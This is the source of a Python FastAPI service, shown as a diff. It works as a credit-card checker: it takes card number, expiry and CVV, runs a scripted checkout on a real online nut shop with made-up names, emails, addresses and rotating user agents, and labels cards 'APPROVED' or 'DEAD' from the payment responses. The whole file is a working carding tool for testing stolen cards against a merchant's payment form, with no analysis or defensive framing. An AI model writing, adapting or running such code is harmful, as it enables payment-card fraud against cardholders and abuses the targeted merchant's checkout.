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|
|
|
|
|
|
|
|
|
|
|
1 |
+
from fastapi import FastAPI, HTTPException
|
2 |
+
from pydantic import BaseModel
|
3 |
+
import requests
|
4 |
+
import random
|
5 |
+
import string
|
6 |
+
from bs4 import BeautifulSoup
|
7 |
+
from fastapi.middleware.cors import CORSMiddleware
|
8 |
+
|
9 |
+
app = FastAPI()
|
10 |
+
|
11 |
+
# Enable CORS
|
12 |
+
app.add_middleware(
|
13 |
+
CORSMiddleware,
|
14 |
+
allow_origins=["*"],
|
15 |
+
allow_credentials=True,
|
16 |
+
allow_methods=["*"],
|
17 |
+
allow_headers=["*"],
|
18 |
+
)
|
19 |
+
|
20 |
+
class CardData(BaseModel):
|
21 |
+
cc: str
|
22 |
+
mes: str
|
23 |
+
ano: str
|
24 |
+
cvv: str
|
25 |
+
|
26 |
+
def generate_random_user_agent():
|
27 |
+
user_agents = [
|
28 |
+
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
|
29 |
+
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36',
|
30 |
+
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0'
|
31 |
+
]
|
32 |
+
return random.choice(user_agents)
|
33 |
+
|
34 |
+
def generate_random_email():
|
35 |
+
providers = ['gmail.com', 'hotmail.com', 'yahoo.com', 'outlook.com']
|
36 |
+
first_name = ''.join(random.choices(string.ascii_lowercase, k=5))
|
37 |
+
last_name = ''.join(random.choices(string.ascii_lowercase, k=5))
|
38 |
+
provider = random.choice(providers)
|
39 |
+
return f"{first_name}.{last_name}@{provider}"
|
40 |
+
|
41 |
+
def generate_random_name():
|
42 |
+
first_names = ['John', 'Jane', 'Michael', 'Emily', 'David', 'Sarah', 'Robert', 'Jennifer', 'William', 'Lisa']
|
43 |
+
last_names = ['Smith', 'Johnson', 'Williams', 'Brown', 'Jones', 'Miller', 'Davis', 'Garcia', 'Rodriguez', 'Wilson']
|
44 |
+
return random.choice(first_names), random.choice(last_names)
|
45 |
+
|
46 |
+
def generate_random_address():
|
47 |
+
streets = ['Main St', 'Elm St', 'Oak St', 'Pine St', 'Maple St', 'Cedar St', 'Birch St', 'Spruce St', 'Willow St', 'Ash St']
|
48 |
+
cities = ['New York', 'Los Angeles', 'Chicago', 'Houston', 'Phoenix', 'Philadelphia', 'San Antonio', 'San Diego', 'Dallas', 'San Jose']
|
49 |
+
states = ['WA', 'CA', 'NY', 'TX', 'FL', 'IL', 'PA', 'OH', 'GA', 'NC']
|
50 |
+
return {
|
51 |
+
'street': f"{random.randint(100, 999)} {random.choice(streets)}",
|
52 |
+
'city': random.choice(cities),
|
53 |
+
'state': random.choice(states),
|
54 |
+
'zip': f"{random.randint(10000, 99999)}",
|
55 |
+
'phone': f"{random.randint(100, 999)}-{random.randint(100, 999)}-{random.randint(1000, 9999)}"
|
56 |
+
}
|
57 |
+
|
58 |
+
@app.post("/v1/check")
|
59 |
+
async def check_card(card_data: CardData):
|
60 |
+
cc = card_data.cc
|
61 |
+
mes = card_data.mes
|
62 |
+
ano = card_data.ano
|
63 |
+
cvv = card_data.cvv
|
64 |
+
|
65 |
+
session = requests.Session()
|
66 |
+
user_agent = generate_random_user_agent()
|
67 |
+
email = generate_random_email()
|
68 |
+
first_name, last_name = generate_random_name()
|
69 |
+
address = generate_random_address()
|
70 |
+
|
71 |
+
headers = {
|
72 |
+
'User-Agent': user_agent,
|
73 |
+
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
|
74 |
+
'Accept-Language': 'es-ES,es;q=0.9',
|
75 |
+
'Content-Type': 'application/x-www-form-urlencoded',
|
76 |
+
'Origin': 'https://shop.kingnut.com',
|
77 |
+
'Referer': 'https://shop.kingnut.com/2LBS-Cajun-Party-Mix-2-lbs-P494.aspx',
|
78 |
+
}
|
79 |
+
|
80 |
+
try:
|
81 |
+
# Step 1: Get initial page
|
82 |
+
response = session.get('https://shop.kingnut.com/2LBS-Cajun-Party-Mix-2-lbs-P494.aspx', headers=headers)
|
83 |
+
soup = BeautifulSoup(response.text, 'html.parser')
|
84 |
+
viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value']
|
85 |
+
viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value']
|
86 |
+
|
87 |
+
# Step 2: Add to cart
|
88 |
+
data = {
|
89 |
+
'ctl00$ctl00$ScriptManager1': 'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$BuyProductPanel|ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$AddToBasketButton',
|
90 |
+
'__EVENTTARGET': '',
|
91 |
+
'__EVENTARGUMENT': '',
|
92 |
+
'__VIEWSTATE': viewstate,
|
93 |
+
'__VIEWSTATEGENERATOR': viewstategenerator,
|
94 |
+
'__VIEWSTATEENCRYPTED': '',
|
95 |
+
'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '',
|
96 |
+
'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$OurPrice$VS': 'YM9lQs4ZXe+144hEXt1LZxGhbSdorF50XSGyaTltBhynkcFMgr6rPIen6WbDwxj2',
|
97 |
+
'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$Quantity': '1',
|
98 |
+
'ctl00$ctl00$NestedMaster$PageContent$ctl00$MoreCategoryItems1$ProductList$ctl00$Thumbnail$ProductPrice$VS': '/qPrGI2MxnZ0OuZZF/+4iH+771CLv/7ypKh6vaTn7dc2IOZiN8/J39M5gLB7ny4',
|
99 |
+
'ctl00$ctl00$NestedMaster$PageContent$ctl00$MoreCategoryItems1$ProductList$ctl01$Thumbnail$ProductPrice$VS': 'fGzB9Ll1QkfqewAYcVoiEPsU1uT8iDT4ALT1rwn0l3LFAv3vvUY26qj+cvTbxKzB',
|
100 |
+
'ctl00$ctl00$NestedMaster$PageContent$ctl00$MoreCategoryItems1$ProductList$ctl02$Thumbnail$ProductPrice$VS': 'DDVMl97O2ycn0iMjMVXU2ohwPh214YdYKc/uf17FeR5n0ZkIZEAD3dH0uZT+zk6m',
|
101 |
+
'ctl00$ctl00$NestedMaster$RightSidebar$ProductTellAFriendRight$Name': '',
|
102 |
+
'ctl00$ctl00$NestedMaster$RightSidebar$ProductTellAFriendRight$FromEmail': '',
|
103 |
+
'ctl00$ctl00$NestedMaster$RightSidebar$ProductTellAFriendRight$FriendEmail': '',
|
104 |
+
'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': '',
|
105 |
+
'__ASYNCPOST': 'true',
|
106 |
+
'ctl00$ctl00$NestedMaster$PageContent$ctl00$BuyProductDialog1$AddToBasketButton': '+ Add to Cart'
|
107 |
+
}
|
108 |
+
response = session.post('https://shop.kingnut.com/2LBS-Cajun-Party-Mix-2-lbs-P494.aspx', headers=headers, data=data)
|
109 |
+
|
110 |
+
# Step 3: Proceed to checkout
|
111 |
+
response = session.get('https://shop.kingnut.com/Basket.aspx', headers=headers)
|
112 |
+
soup = BeautifulSoup(response.text, 'html.parser')
|
113 |
+
viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value']
|
114 |
+
viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value']
|
115 |
+
|
116 |
+
data = {
|
117 |
+
'ctl00$ctl00$ScriptManager1': 'ctl00$ctl00$NestedMaster$PageContent$BasketPanel|ctl00$ctl00$NestedMaster$PageContent$CheckoutButton',
|
118 |
+
'__EVENTTARGET': '',
|
119 |
+
'__EVENTARGUMENT': '',
|
120 |
+
'__LASTFOCUS': '',
|
121 |
+
'__VIEWSTATE': viewstate,
|
122 |
+
'__VIEWSTATEGENERATOR': viewstategenerator,
|
123 |
+
'__VIEWSTATEENCRYPTED': '',
|
124 |
+
'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1',
|
125 |
+
'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '',
|
126 |
+
'ctl00$ctl00$NestedMaster$PageContent$BasketGrid$ctl02$Quantity': '1',
|
127 |
+
'ctl00$ctl00$NestedMaster$RightSidebar$BasketShippingEstimate1$Country': 'US',
|
128 |
+
'ctl00$ctl00$NestedMaster$RightSidebar$BasketShippingEstimate1$Province': '',
|
129 |
+
'ctl00$ctl00$NestedMaster$RightSidebar$BasketShippingEstimate1$PostalCode': '',
|
130 |
+
'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': '',
|
131 |
+
'__ASYNCPOST': 'true',
|
132 |
+
'ctl00$ctl00$NestedMaster$PageContent$CheckoutButton': 'Checkout >>'
|
133 |
+
}
|
134 |
+
response = session.post('https://shop.kingnut.com/Basket.aspx', headers=headers, data=data)
|
135 |
+
|
136 |
+
# Step 4: Fill in billing address
|
137 |
+
response = session.get('https://shop.kingnut.com/Checkout/EditBillAddress.aspx', headers=headers)
|
138 |
+
soup = BeautifulSoup(response.text, 'html.parser')
|
139 |
+
viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value']
|
140 |
+
viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value']
|
141 |
+
|
142 |
+
data = {
|
143 |
+
'__EVENTTARGET': '',
|
144 |
+
'__EVENTARGUMENT': '',
|
145 |
+
'__LASTFOCUS': '',
|
146 |
+
'__VIEWSTATE': viewstate,
|
147 |
+
'__VIEWSTATEGENERATOR': viewstategenerator,
|
148 |
+
'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1',
|
149 |
+
'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '',
|
150 |
+
'ctl00$ctl00$NestedMaster$PageContent$UserName': email,
|
151 |
+
'ctl00$ctl00$NestedMaster$PageContent$Password': '407d25146b14',
|
152 |
+
'ctl00$ctl00$NestedMaster$PageContent$ConfirmPassword': '407d25146b14',
|
153 |
+
'ctl00$ctl00$NestedMaster$PageContent$FirstName': first_name,
|
154 |
+
'ctl00$ctl00$NestedMaster$PageContent$LastName': last_name,
|
155 |
+
'ctl00$ctl00$NestedMaster$PageContent$Company': last_name,
|
156 |
+
'ctl00$ctl00$NestedMaster$PageContent$Address1': address['street'],
|
157 |
+
'ctl00$ctl00$NestedMaster$PageContent$Address2': '',
|
158 |
+
'ctl00$ctl00$NestedMaster$PageContent$City': address['city'],
|
159 |
+
'ctl00$ctl00$NestedMaster$PageContent$Country': 'US',
|
160 |
+
'ctl00$ctl00$NestedMaster$PageContent$Province2': address['state'],
|
161 |
+
'ctl00$ctl00$NestedMaster$PageContent$PostalCode': address['zip'],
|
162 |
+
'ctl00$ctl00$NestedMaster$PageContent$Telephone': address['phone'],
|
163 |
+
'ctl00$ctl00$NestedMaster$PageContent$Fax': '',
|
164 |
+
'ctl00$ctl00$NestedMaster$PageContent$IsBusinessAddress': 'on',
|
165 |
+
'ctl00$ctl00$NestedMaster$PageContent$ShipToOption': 'SHIP_TO_BILLING_ADDRESS',
|
166 |
+
'ctl00$ctl00$NestedMaster$PageContent$ShippingContinueButton': 'Continue Checkout >>',
|
167 |
+
'ctl00$ctl00$NestedMaster$PageContent$BasketShippingEstimate1$Country': 'US',
|
168 |
+
'ctl00$ctl00$NestedMaster$PageContent$BasketShippingEstimate1$Province': '',
|
169 |
+
'ctl00$ctl00$NestedMaster$PageContent$BasketShippingEstimate1$PostalCode': '',
|
170 |
+
'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': ''
|
171 |
+
}
|
172 |
+
response = session.post('https://shop.kingnut.com/Checkout/EditBillAddress.aspx', headers=headers, data=data)
|
173 |
+
|
174 |
+
# Step 5: Select shipping method
|
175 |
+
soup = BeautifulSoup(response.text, 'html.parser')
|
176 |
+
viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value']
|
177 |
+
viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value']
|
178 |
+
|
179 |
+
data = {
|
180 |
+
'__EVENTTARGET': '',
|
181 |
+
'__EVENTARGUMENT': '',
|
182 |
+
'__LASTFOCUS': '',
|
183 |
+
'__VIEWSTATE': viewstate,
|
184 |
+
'__VIEWSTATEGENERATOR': viewstategenerator,
|
185 |
+
'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1',
|
186 |
+
'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '',
|
187 |
+
'ctl00$ctl00$NestedMaster$PageContent$ContinueButton': 'Continue >>',
|
188 |
+
'txt_DefaultGiftMsg': '',
|
189 |
+
'ctl00$ctl00$NestedMaster$PageContent$ShipmentRepeater$ctl00$ShipMethodsList': '9',
|
190 |
+
'ctl00$ctl00$NestedMaster$PageContent$ShipmentRepeater$ctl00$ShipMessage': '',
|
191 |
+
'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': email
|
192 |
+
}
|
193 |
+
response = session.post('https://shop.kingnut.com/Checkout/ShipMethod.aspx', headers=headers, data=data)
|
194 |
+
|
195 |
+
# Step 6: Enter payment details
|
196 |
+
soup = BeautifulSoup(response.text, 'html.parser')
|
197 |
+
viewstate = soup.find('input', {'name': '__VIEWSTATE'})['value']
|
198 |
+
viewstategenerator = soup.find('input', {'name': '__VIEWSTATEGENERATOR'})['value']
|
199 |
+
|
200 |
+
card_type = {'4': '1', '5': '2', '6': '4', '3': '3'}.get(cc[0], '1')
|
201 |
+
|
202 |
+
data = {
|
203 |
+
'ctl00$ctl00$ScriptManager1': 'ctl00$ctl00$NestedMaster$PageContent$PaymentAjax|ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CreditCardButton',
|
204 |
+
'__EVENTTARGET': '',
|
205 |
+
'__EVENTARGUMENT': '',
|
206 |
+
'__VIEWSTATE': viewstate,
|
207 |
+
'__VIEWSTATEGENERATOR': viewstategenerator,
|
208 |
+
'ctl00$ctl00$PageHeader$StoreHeader_H$minicart1$BasketRepeater$ctl00$Quantity': '1',
|
209 |
+
'ctl00$ctl00$PageHeader$StoreHeader_H$SimpleSearch1$SearchPhrase': '',
|
210 |
+
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CouponCode': '',
|
211 |
+
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CardType': card_type,
|
212 |
+
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CardName': f'{first_name} {last_name}',
|
213 |
+
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CardNumber': cc,
|
214 |
+
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$ExpirationMonth': mes,
|
215 |
+
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$ExpirationYear': ano,
|
216 |
+
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$SecurityCode': cvv,
|
217 |
+
'ctl00$ctl00$PageFooter$StoreFooter_F$SubscribeToMailChimp1$UserEmail': email,
|
218 |
+
'__ASYNCPOST': 'true',
|
219 |
+
'ctl00$ctl00$NestedMaster$PageContent$PaymentWidget$CreditCardPaymentForm$CreditCardButton': 'Processing...'
|
220 |
+
}
|
221 |
+
response = session.post('https://shop.kingnut.com/Checkout/Payment.aspx', headers=headers, data=data)
|
222 |
+
|
223 |
+
# Check the response
|
224 |
+
if 'CVV2 Mismatch: 15004-This transaction cannot be processed. Please enter a valid Credit Card Verification Number.' in response.text:
|
225 |
+
status = "APPROVED β
"
|
226 |
+
response_text = "CVV2 Mismatch: 15004-This transaction cannot be processed. Please enter a valid Credit Card Verification Number."
|
227 |
+
elif 'Incorrect credit card expiration date.' in response.text:
|
228 |
+
status = "Rejected! π΄"
|
229 |
+
response_text = "Card Declined π΄"
|
230 |
+
elif 'Your order is confirmed' in response.text:
|
231 |
+
status = "Approved!π©"
|
232 |
+
response_text = "Your order is confirmed(39$)π©"
|
233 |
+
else:
|
234 |
+
status = "DECLINED #DEAD β"
|
235 |
+
response_text = "Unknown error"
|
236 |
+
|
237 |
+
return {
|
238 |
+
'status': status,
|
239 |
+
'response': response_text,
|
240 |
+
'card': cc,
|
241 |
+
'mes': mes,
|
242 |
+
'ano': ano,
|
243 |
+
'cvv': cvv
|
244 |
+
}
|
245 |
+
|
246 |
+
except Exception as e:
|
247 |
+
raise HTTPException(status_code=500, detail=str(e))
|
248 |
+
|
249 |
+
if __name__ == "__main__":
|
250 |
+
import uvicorn
|
251 |
+
uvicorn.run(app, host="0.0.0.0", port=8000)
|